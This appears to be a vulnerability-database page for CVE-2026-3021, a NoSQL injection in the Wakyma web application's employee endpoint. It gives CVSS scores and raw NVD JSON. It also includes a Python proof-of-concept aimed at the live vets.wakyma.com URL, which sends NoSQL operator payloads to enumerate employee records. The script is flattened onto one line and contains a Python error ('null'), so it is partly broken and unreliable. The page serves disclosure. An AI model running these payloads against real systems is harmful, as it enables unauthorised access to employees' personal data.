Security Vulnerability Report
中文
CVE-2026-3021 CVSS 6.5 MEDIUM

CVE-2026-3021

Published: 2026-03-16 14:19:45
Last Modified: 2026-03-20 18:25:19

Description

Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/centro/equipo/empleado'. This vulnerability could allow an authenticated user to alter a GET request to the affected endpoint for the purpose of injecting special NoSQL commands. This would lead to the enumeration of sensitive employee data.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wakyma:wakyma:-:*:*:*:*:*:*:* - VULNERABLE
Wakyma Web Application (all versions before patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-3021 NoSQL Injection PoC for Wakyma # Target: vets.wakyma.com/centro/equipo/empleado target_url = "https://vets.wakyma.com/centro/equipo/empleado" # Authentication - attacker needs low-privilege account auth_token = "ATTACKER_SESSION_TOKEN" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # NoSQL Injection Payloads payloads = [ # Enumerate all employees {"empleado_id": {"$gt": 0}}, # Extract employee with specific conditions {"empleado_id": {"$exists": True}}, # Use regex to match patterns {"nombre": {"$regex": ".*"}}, # Extract all fields {"$where": "function() { return true; }"}, # Bypass authentication checks {"empleado_id": {"$ne": null}} ] print("[*] CVE-2026-3021 NoSQL Injection PoC") print(f"[*] Target: {target_url}") for i, payload in enumerate(payloads): print(f"\n[*] Testing payload {i+1}: {json.dumps(payload)}") try: response = requests.get( target_url, params={"filter": json.dumps(payload)}, headers=headers, timeout=30, verify=False ) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive data exposure if "empleado" in str(data).lower(): print("[!] Sensitive employee data detected!") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] PoC execution completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3021", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:45.320", "lastModified": "2026-03-20T18:25:18.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/centro/equipo/empleado'. This vulnerability could allow an authenticated user to alter a GET request to the affected endpoint for the purpose of injecting special NoSQL commands. This would lead to the enumeration of sensitive employee data."}, {"lang": "es", "value": "Vulnerabilidad de inyección SQL no relacional (NoSQLi) en la aplicación web Wakyma, específicamente en el endpoint 'vets.wakyma.com/centro/equipo/empleado'. Esta vulnerabilidad podría permitir a un usuario autenticado alterar una solicitud GET al endpoint afectado con el propósito de inyectar comandos NoSQL especiales. Esto llevaría a la enumeración de datos sensibles de empleados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-943"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wakyma:wakyma:-:*:*:*:*:*:*:*", "matchCriteriaId": "5E72E411-C3E6-4BC9-81BD-E6F33F0C0174"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wakyma-application-web", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}